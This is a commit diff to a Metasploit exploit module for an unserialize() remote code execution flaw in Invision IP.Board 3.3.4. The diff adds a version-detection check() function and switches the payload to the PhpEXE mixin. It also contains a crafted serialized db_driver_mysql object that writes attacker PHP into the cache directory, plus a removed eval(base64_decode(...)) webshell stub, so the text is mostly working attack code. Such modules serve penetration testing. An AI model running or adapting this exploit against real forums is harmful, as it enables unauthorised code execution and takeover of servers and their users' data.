Use PhpEXE, and a check() function

Uses the PhpEXE mixin for the payload. And then in the future
we can modify PhpEXE again to allow it to be space-free (problem
being a space is required when you use a function).  Also, this
commit has a new check function.

Author: sinn3r

modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb

@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	Rank = ExcellentRanking
 
 	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::PhpEXE
 
 	def initialize(info = {})
 		super(update_info(info,
@@ -25,13 +26,13 @@ def initialize(info = {})
 				__destruct() method from the dbMain class to write arbitrary PHP code to a file on
 				the Invision IP.Board web directory.
 
-				The exploit has been tested successfully on Ubuntu 10.04 and Invision IP.Board
-				3.3.4.
+				The exploit has been tested successfully on Invision IP.Board 3.3.4.
 			},
 			'Author'	=>
 				[
-					'EgiX', # Vulnerability discovery and PoC
-					'juan vazquez' # Metasploit module
+					'EgiX',         # Vulnerability discovery and PoC
+					'juan vazquez', # Metasploit module
+					'sinn3r'        # PhpEXE tekniq & check() method
 				],
 			'License'        => MSF_LICENSE,
 			'References'     =>
@@ -47,19 +48,48 @@ def initialize(info = {})
 			'Arch'           => ARCH_PHP,
 			'Payload'        =>
 				{
-					'DisableNops' => true,
+					'Space'       => 8000, #Apache's limit for GET
+					'DisableNops' => true
 				},
 			'Targets'        => [ ['Invision IP.Board 3.3.4', {}] ],
 			'DefaultTarget'  => 0,
 			'DisclosureDate' => 'Oct 25 2012'
 			))
 
-			register_options(
-				[
-					OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
-				], self.class)
+		register_options(
+			[
+				OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
+			], self.class)
+	end
+
+	def base
+		base = target_uri.path
+		base << '/' if base[-1, 1] != '/'
+		return base
 	end
 
+	def check
+		res = send_request_raw({'uri'=>"#{base}index.php"})
+		return Exploit::CheckCode::Unknown if not res
+
+		version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
+		version = version.map {|e| e.to_i}
+
+		# We only want major version 3
+		# This version checking is based on OSVDB's info
+		return Exploit::CheckCode::Safe if version[0] != 3
+
+		case version[1]
+		when 1
+			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
+		when 2
+			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
+		when 3
+			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
+		end
+
+		return Exploit::CheckCode::Safe
+	end
 
 	def on_new_session(client)
 		if client.type == "meterpreter"
@@ -75,12 +105,20 @@ def on_new_session(client)
 	end
 
 	def exploit
-		base = target_uri.path
-		base << '/' if base[-1, 1] != '/'
 		@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
 		@peer = "#{rhost}:#{rport}"
 
-		php_payload = "<?eval(base64_decode($_SERVER[HTTP_CMD]));?>"
+		# get_write_exec_payload uses a function, which limits our ability to support
+		# Linux payloads, because that requires a space:
+		#   function my_cmd
+		# becomes:
+		#   functionmy_cmd #Causes parsing error
+		# We'll have to address that in the mixin, and then come back to this module
+		# again later.
+		php_payload = get_write_exec_payload(:unlink_self=>true)
+		php_payload = php_payload.gsub(/^\<\?php/, '<?')
+		php_payload = php_payload.gsub(/ /,'')
+
 		db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"
 
 		print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
@@ -99,14 +137,7 @@ def exploit
 
 		print_status("#{@peer} - Executing the payload #{@upload_php}")
 
-		res = send_request_cgi(
-		{
-			'method' => 'GET',
-			'uri'    => "#{base}cache/#{@upload_php}",
-			'headers' => {
-				'Cmd' => Rex::Text.encode_base64(payload.encoded)
-			}
-		})
+		res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})
 
 		if res
 			print_error("#{@peer} - Payload execution failed: #{res.code}")